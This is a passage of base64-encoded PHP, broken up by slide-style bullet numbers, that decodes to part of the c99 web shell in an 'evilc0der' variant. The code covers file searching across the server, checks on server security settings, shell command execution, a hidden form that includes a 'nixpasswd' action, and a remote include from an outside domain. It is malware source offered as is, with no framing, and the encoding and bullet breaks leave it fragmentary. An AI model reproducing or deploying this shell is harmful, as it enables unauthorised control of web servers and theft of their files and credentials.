X2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3Bh cnNlKCRxdWVyeSkNCnsNCiAkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQogJGFyciA9IGV4cGxvZGUg KCIgIiwkcXVlcnkpOw0KIC8qYXJyYXkgYXJyYXkoKQ0KIHsNCiAgIk1FVEhPRCI9PmFycmF5KG91 dHB1dF90eXBlKSwNCiAgIk1FVEhPRDEiLi4uDQogIC4uLg0KIH0NCiBpZiBvdXRwdXRfdHlwZSA9 PSAwLCBubyBvdXRwdXQsDQogaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVy
  • 8. cm9yDQogaWYgb3V0cHV0X3R5cGUgPT0gMiwgb3V0cHV0IHdpdGhvdXQgY29udHJvbC1idXR0b25z DQogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zDQogKi8N CiAkdHlwZXMgPSBhcnJheSgNCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksDQogICJTSE9XIj0+YXJy YXkoMiwxKSwNCiAgIkRFTEVURSI9PmFycmF5KDEpLA0KICAiRFJPUCI9PmFycmF5KDEpDQogKTsN CiAkcmVzdWx0ID0gYXJyYXkoKTsNCiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOw0KIGlmIChp c19hcnJheSgkdHlwZXNbJG9wXSkpDQogew0KICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5 cGVzWyRvcF07DQogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5Ow0KICBpZiAoJHR5cGVzWyRv cF0gPT0gMikNCiAgew0KICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAo c3RydG91cHBlcigkdikgPT0gIkxJTUlUIikNCiAgICB7DQogICAgICRyZXN1bHRbImxpbWl0Il0g PSAkYXJyWyRrKzFdOw0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3Vs dFsibGltaXQiXSk7DQogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJl c3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQ0KICAgICB1bnNl dCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsNCiAgICB9DQogICB9DQogIH0NCiB9DQogZWxzZSB7cmV0 dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpDQp7 DQpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQ0Kew0KIGdsb2JhbCAkZm91bmQ7DQogZ2xvYmFsICRm b3VuZF9kOw0KIGdsb2JhbCAkZm91bmRfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogZ2xvYmFs ICRzZWFyY2hfaV9kOw0KIGdsb2JhbCAkYTsNCiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RP UllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGly KCRkKTsNCiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkNCiB7DQogIGlmKCRm ICE9ICIuIiAmJiAkZiAhPSAiLi4iKQ0KICB7DQogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9y ZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFt ZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICBpZiAoaXNfZGlyKCRkLiRm KSkNCiAgIHsNCiAgICAkc2VhcmNoX2lfZCsrOw0KICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBh bmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30NCiAgICBpZiAoIWlzX2xp bmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQ0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAg ICRzZWFyY2hfaV9mKys7DQogICAgaWYgKCRib29sKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgk YVsidGV4dCJdKSkNCiAgICAgew0KICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYp Ow0KICAgICAgaWYgKCRhWyJ0ZXh0X3d3byJdKSB7JGFbInRleHQiXSA9ICIgIi50cmltKCRhWyJ0 ZXh0Il0pLiIgIjt9DQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3Ry dG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICBpZiAoJGFb InRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgZWxz ZSB7JGJvb2wgPSBzdHJwb3MoIiAiLiRyLCRhWyJ0ZXh0Il0sMSk7fQ0KICAgICAgaWYgKCRhWyJ0 ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10g PSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgIH0NCiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4k ZjsgJGZvdW5kX2YrKzt9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCn0N Cn0NCmlmICgkYWN0ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskYWN0ID0gImxzIjsg JGQgPSAkZjt9IGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5h bWUoJGYpO319DQovL1NlbmRpbmcgaGVhZGVycw0KQG9iX3N0YXJ0KCk7DQpAb2JfaW1wbGljaXRf Zmx1c2goMCk7DQpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkNCnsNCiBnbG9iYWwgJGd6aXBlbmNv ZGUsJGZ0Ow0KIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJy YXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpDQogew0KICAkdiA9IEBv Yl9nZXRfY29udGVudHMoKTsNCiAgQG9iX2VuZF9jbGVhbigpOw0KICBAb2Jfc3RhcnQoIm9iX2d6 SGFuZGxlciIpOw0KICBlY2hvICR2Ow0KICBAb2JfZW5kX2ZsdXNoKCk7DQogfQ0KfQ0KZnVuY3Rp b24gYzk5c2hleGl0KCkNCnsNCiBvbnBocHNodXRkb3duKCk7DQogZXhpdDsNCn0NCmhlYWRlcigi RXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1N b2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2Fj aGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRl cigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsNCmhl YWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KICR0bXBk aXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KIGlmIChpc19kaXIoJHRtcGRpcikpIHsk dG1wZGlyID0gIi90bXAvIjt9DQp9DQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQokdG1w ZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KaWYg KHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBE SVJFQ1RPUllfU0VQQVJBVE9SO30NCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9s b2dzID0gJHRtcGRpcjt9DQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xv Z3MpO30NCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgi c2FmZV9tb2RlIikpID09ICJvbiIpDQp7DQogJHNhZmVtb2RlID0gVFJVRTsNCiAkaHNhZmVtb2Rl ID0gIjxmb250IGNvbG9yPXJlZD5PTiAoc2VjdXJlKTwvZm9udD4iOw0KfQ0KZWxzZSB7JHNhZmVt b2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2Vj
  • 9. dXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9y IHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSBUUlVFOyAkaG9wZW5iYXNl ZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9DQplbHNlIHskb3BlbmJhc2Vk aXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBz ZWN1cmUpPC9mb250PiI7fQ0KJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCmlmIChl bXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KJHNvcnRbMV0gPSBzdHJ0b2xv d2VyKCRzb3J0WzFdKTsNCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NP RlRXQVJFIik7DQppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09G VFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9 DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigp LCI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0ncGhwaW5m byc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwv dT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCkBp bmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRg0KQGluaV9zZXQo ImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDANCkBpbmlf c2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCDQpA aW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMA0KQGlu aV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAN CkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAw MA0KaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30NCiRkc3BhY3Qg PSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsNCiRkaXNwX2Z1bGxwYXRoID0gJGxzX2Fy ciA9ICRub3RscyA9IG51bGw7DQokdWQgPSB1cmxlbmNvZGUoJGQpOw0KPz4NCjw/IGluY2x1ZGUg J2h0dHA6Ly93d3cuZXZpbGMwZGVyLmNvbS94Lmh0bWwnOyA/PjxodG1sPjxoZWFkPjxtZXRhIGh0 dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRv d3MtMTI1MSI+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4t dXMiPjx0aXRsZT48P3BocCBlY2hvIGdldGVudigiSFRUUF9IT1NUIik7ID8+IC0gZXZpbGMwZGVy PC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQt RkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMzMzMzMzM7IHNj cm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6 ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFy a3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBz Y3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5OiBWZXJkYW5hO31URC5o ZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6 ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdF SUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQt REVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6 ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEu TGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVu a25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFU SU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5k ZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4 IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7 IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5z a2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7 IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1 dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxp Z2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7 IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdo dDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7 IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2 NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7 IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2 NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7IGZvbnQtc2l6ZTogOHB0OyBj b2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2 NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzMzMzOyBmb250LXNpemU6IDhwdDsgY29s b3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2 O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7IGZvbnQtc2l6ZTogOHB0OyBjb2xv cjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7 fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7IGNvbG9y
  • 10. OiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9 cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAl fWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQs IEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4t dG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1s ZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZh bWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJh Y2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZm ZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0w IHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Zm9ybSBuYW1lPSd0 b2RvJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBuYW1lPSdhY3QnIHR5cGU9J2hpZGRlbicgdmFsdWU9 Jyc+PGlucHV0IG5hbWU9J2dyZXAnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9 J2Z1bGxoZXhkdW1wJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdiYXNlNjQn IHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J25peHBhc3N3ZCcgdHlwZT0naGlk ZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0ncGlkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdjJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSd3aGl0ZScg dHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc2lnJyB0eXBlPSdoaWRkZW4nIHZh bHVlPScnPjxpbnB1dCBuYW1lPSdwcm9jZXNzZXNfc29ydCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0n Jz48aW5wdXQgbmFtZT0nZCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc29y dCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nZicgdHlwZT0naGlkZGVuJyB2 YWx1ZT0nJz48aW5wdXQgbmFtZT0nZnQnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PC9mb3JtPjxj ZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBj ZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9 IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEg Ym9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMTUiIG5v d3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxm b250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjxhIGhyZWY9Ijw/cGhwIGVj aG8gJHN1cmw7ID8+Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSI1Ij48Yj5ldmlsYzBkZXIg di4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5n cyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxw IGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9T T0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJz cDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5i c3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFw KG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRf dXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5i c3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhw DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoZW1w dHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0g cmVhbHBhdGgoJGQpO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9S LCRkKTsNCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBE SVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0K JGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNU T1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMg JGIpDQp7DQogJHQgPSAiIjsNCiAkaiA9IDA7DQogZm9yZWFjaCAoJGUgYXMgJHIpDQogew0KICAk dC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogIGlmICgkaiA9PSAkaSkge2JyZWFrO30NCiAg JGorKzsNCiB9DQogZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5h Y3QudmFsdWU9J2xzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCR0KS4iJztk b2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJHNvcnQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQo KTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48 L2E+IjsNCiAkaSsrOw0KfQ0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCmlmIChpc193cml0 YWJsZSgkZCkpDQp7DQogJHdkID0gVFJVRTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPWdyZWVuPlsg b2sgXTwvZm9udD4iOw0KIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhm aWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOw0KfQ0KZWxzZQ0Kew0KICR3ZCA9IEZBTFNFOw0K ICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsNCiBlY2hvICI8 Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCmlmIChpc19jYWxsYWJsZSgiZGlz a19mcmVlX3NwYWNlIikpDQp7DQogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICR0b3Rh bCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOw0KIGlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9 IDA7fQ0KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9DQogaWYgKCRmcmVlIDwg
  • 11. MCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9 ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUp LDIpOw0KIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19z aXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOw0KfQ0KZWNobyAiPGJyPiI7 DQokbGV0dGVycyA9ICIiOw0KaWYgKCR3aW4pDQp7DQogJHYgPSBleHBsb2RlKCJcXCIsJGQpOw0K ICR2ID0gJHZbMF07DQogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikNCiB7DQog ICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0 ZXMpOw0KICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICBp ZiAoJGJvb2wpDQogIHsNCiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC50b2RvLmFjdC52YWx1ZT0nbHMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxl bmNvZGUoJGxldHRlci4iOlxcIikuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5bICI7DQog ICBpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyO30NCiAgIGVsc2Ug eyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAg ICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsNCiAgfQ0KIH0NCiBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkg e2VjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIuJGxldHRlcnMuIjxicj4iO30NCn0NCmlm IChjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkNCnsNCiBmb3JlYWNoKCRxdWlja2xhdW5jaCBhcyAk aXRlbSkNCiB7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRp dGVtWzFdKTsNCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJXNvcnQiLCRzb3J0LCRpdGVtWzFd KTsNCiAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsNCiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhw bG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYg PSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpO30NCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFj ZSgiJXVwZCIsdXJsZW5jb2RlKCR2KSwkaXRlbVsxXSk7DQoNCiAgZWNobyAiPGEgaHJlZj1cIiIu 